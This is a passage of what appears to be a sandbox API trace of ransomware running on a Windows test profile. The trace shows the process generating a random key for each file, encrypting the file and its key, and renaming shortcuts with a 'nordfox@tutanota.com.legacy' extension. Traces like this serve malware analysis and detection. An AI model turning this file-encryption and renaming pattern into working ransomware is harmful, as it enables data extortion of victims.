(HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0112.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0112.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0112.493] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0112.493] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0112.493] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Favorites\\Bing.url", dwFileAttributes=0x80) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0112.494] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0112.494] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0112.494] CreateFileW (lpFileName="\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f0 [0112.494] GetFileSizeEx (in: hFile=0x5f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=208) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0112.494] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b070 [0112.494] ReadFile (in: hFile=0x5f0, lpBuffer=0x55ade8, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x55ade8*, lpNumberOfBytesRead=0x2e1f9bc*=0xd0, lpOverlapped=0x0) returned 1 [0112.495] SetFilePointer (in: hFile=0x5f0, lDistanceToMove=-208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.495] WriteFile (in: hFile=0x5f0, lpBuffer=0x55b070*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x55b070*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd0, lpOverlapped=0x0) returned 1 [0112.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0112.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b070 | out: hHeap=0x520000) returned 1 [0112.496] SetFilePointer (in: hFile=0x5f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd0 [0112.496] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.496] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.496] WriteFile (in: hFile=0x5f0, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.496] WriteFile (in: hFile=0x5f0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.496] CloseHandle (hObject=0x5f0) returned 1 [0112.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0112.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0112.497] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), lpNewFileName="\\Users\\FD1HVy\\Favorites\\Bing.url.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0112.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0112.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cb8 [0112.499] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Links\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xd206de97, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5a58 [0112.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0112.499] GetLastError () returned 0x0 [0112.499] SetLastError (dwErrCode=0x0) [0112.499] GetLastError () returned 0x0 [0112.499] SetLastError (dwErrCode=0x0) [0112.499] GetLastError () returned 0x0 [0112.499] SetLastError (dwErrCode=0x0) [0112.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0112.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0112.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0112.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5a98 [0112.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0112.499] FindNextFileW (in: hFindFile=0x5c5a58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xd206de97, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0112.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.500] GetLastError () returned 0x0 [0112.500] SetLastError (dwErrCode=0x0) [0112.500] GetLastError () returned 0x0 [0112.500] SetLastError (dwErrCode=0x0) [0112.500] GetLastError () returned 0x0 [0112.500] SetLastError (dwErrCode=0x0) [0112.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0112.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0112.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0112.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5a98 [0112.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0112.500] FindNextFileW (in: hFindFile=0x5c5a58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcee4480b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.500] GetLastError () returned 0x0 [0112.500] SetLastError (dwErrCode=0x0) [0112.500] GetLastError () returned 0x0 [0112.500] SetLastError (dwErrCode=0x0) [0112.500] GetLastError () returned 0x0 [0112.500] SetLastError (dwErrCode=0x0) [0112.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0112.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0112.500] FindNextFileW (in: hFindFile=0x5c5a58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4428f2bb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4428f2bb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce90d59d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0112.501] GetLastError () returned 0x0 [0112.501] SetLastError (dwErrCode=0x0) [0112.501] GetLastError () returned 0x0 [0112.501] SetLastError (dwErrCode=0x0) [0112.501] GetLastError () returned 0x0 [0112.501] SetLastError (dwErrCode=0x0) [0112.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0112.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0112.501] FindNextFileW (in: hFindFile=0x5c5a58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442b54f3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x442b54f3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcec7abde, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.501] GetLastError () returned 0x0 [0112.501] SetLastError (dwErrCode=0x0) [0112.501] GetLastError () returned 0x0 [0112.501] SetLastError (dwErrCode=0x0) [0112.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.501] SetLastError (dwErrCode=0x0) [0112.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0112.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0112.501] FindNextFileW (in: hFindFile=0x5c5a58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3190fb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94664823, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.501] GetLastError () returned 0x0 [0112.502] SetLastError (dwErrCode=0x0) [0112.502] GetLastError () returned 0x0 [0112.502] SetLastError (dwErrCode=0x0) [0112.502] GetLastError () returned 0x0 [0112.502] SetLastError (dwErrCode=0x0) [0112.502] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0112.502] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0112.502] FindNextFileW (in: hFindFile=0x5c5a58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd206de97, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd206de97, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd206de97, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0112.502] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0112.502] GetLastError () returned 0x0 [0112.502] SetLastError (dwErrCode=0x0) [0112.502] GetLastError () returned 0x0 [0112.502] SetLastError (dwErrCode=0x0) [0112.502] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.502] SetLastError (dwErrCode=0x0) [0112.502] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0112.502] FindNextFileW (in: hFindFile=0x5c5a58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd206de97, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd206de97, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd206de97, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0112.502] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0112.502] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0112.502] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Links\\OneDrive.lnk", dwFileAttributes=0x80) returned 1 [0112.503] CreateFileW (lpFileName="\\Users\\FD1HVy\\Links\\OneDrive.lnk" (normalized: "c:\\users\\fd1hvy\\links\\onedrive.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0112.504] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1338) returned 1 [0112.504] ReadFile (in: hFile=0x5f4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x53a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x53a, lpOverlapped=0x0) returned 1 [0112.513] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=-1338, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.513] WriteFile (in: hFile=0x5f4, lpBuffer=0x5ea118*, nNumberOfBytesToWrite=0x53a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ea118*, lpNumberOfBytesWritten=0x2e1f9bc*=0x53a, lpOverlapped=0x0) returned 1 [0112.513] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x53a [0112.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.514] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.514] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.514] CloseHandle (hObject=0x5f4) returned 1 [0112.514] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0112.514] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0112.514] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Links\\OneDrive.lnk" (normalized: "c:\\users\\fd1hvy\\links\\onedrive.lnk"), lpNewFileName="\\Users\\FD1HVy\\Links\\OneDrive.lnk.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\links\\onedrive.lnk.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b58 | out: hHeap=0x520000) returned 1 [0112.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0112.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0112.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0112.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0112.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0112.517] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0112.517] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0112.517] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Links\\Downloads.lnk", dwFileAttributes=0x80) returned 1 [0112.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0112.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563f48 [0112.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0112.517] CreateFileW (lpFileName="\\Users\\FD1HVy\\Links\\Downloads.lnk" (normalized: "c:\\users\\fd1hvy\\links\\downloads.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0112.518] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=942) returned 1 [0112.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ae) returned 0x5e9bd0 [0112.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ae) returned 0x5e9f88 [0112.518] ReadFile (in: hFile=0x5f4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x3ae, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ae, lpOverlapped=0x0) returned 1 [0112.524] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=-942, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.524] WriteFile (in: hFile=0x5f4, lpBuffer=0x5e9f88*, nNumberOfBytesToWrite=0x3ae, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9f88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ae, lpOverlapped=0x0) returned 1 [0112.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9f88 | out: hHeap=0x520000) returned 1 [0112.525] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ae [0112.525] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.525] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.525] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.525] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.525] CloseHandle (hObject=0x5f4) returned 1 [0112.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0112.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0112.526] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Links\\Downloads.lnk" (normalized: "c:\\users\\fd1hvy\\links\\downloads.lnk"), lpNewFileName="\\Users\\FD1HVy\\Links\\Downloads.lnk.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\links\\downloads.lnk.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f48 | out: hHeap=0x520000) returned 1 [0112.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0112.527] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0112.528] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.528] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.528] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.528] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.528] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.528] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Links\\Desktop.lnk", dwFileAttributes=0x80) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0112.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0112.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0112.529] CreateFileW (lpFileName="\\Users\\FD1HVy\\Links\\Desktop.lnk" (normalized: "c:\\users\\fd1hvy\\links\\desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0112.529] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=501) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f5) returned 0x5646a8 [0112.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f5) returned 0x52f438 [0112.529] ReadFile (in: hFile=0x5f4, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1f5, lpOverlapped=0x0) returned 1 [0112.530] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=-501, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.530] WriteFile (in: hFile=0x5f4, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1f5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1f5, lpOverlapped=0x0) returned 1 [0112.531] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0112.531] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52f438 | out: hHeap=0x520000) returned 1 [0112.531] SetFilePointer (in: hFile=0x5f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1f5 [0112.531] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.531] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.532] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.532] WriteFile (in: hFile=0x5f4, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.532] CloseHandle (hObject=0x5f4) returned 1 [0112.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.532] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Links\\Desktop.lnk" (normalized: "c:\\users\\fd1hvy\\links\\desktop.lnk"), lpNewFileName="\\Users\\FD1HVy\\Links\\Desktop.lnk.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\links\\desktop.lnk.1506877342345.nordfox@tutanota.com.legacy"), 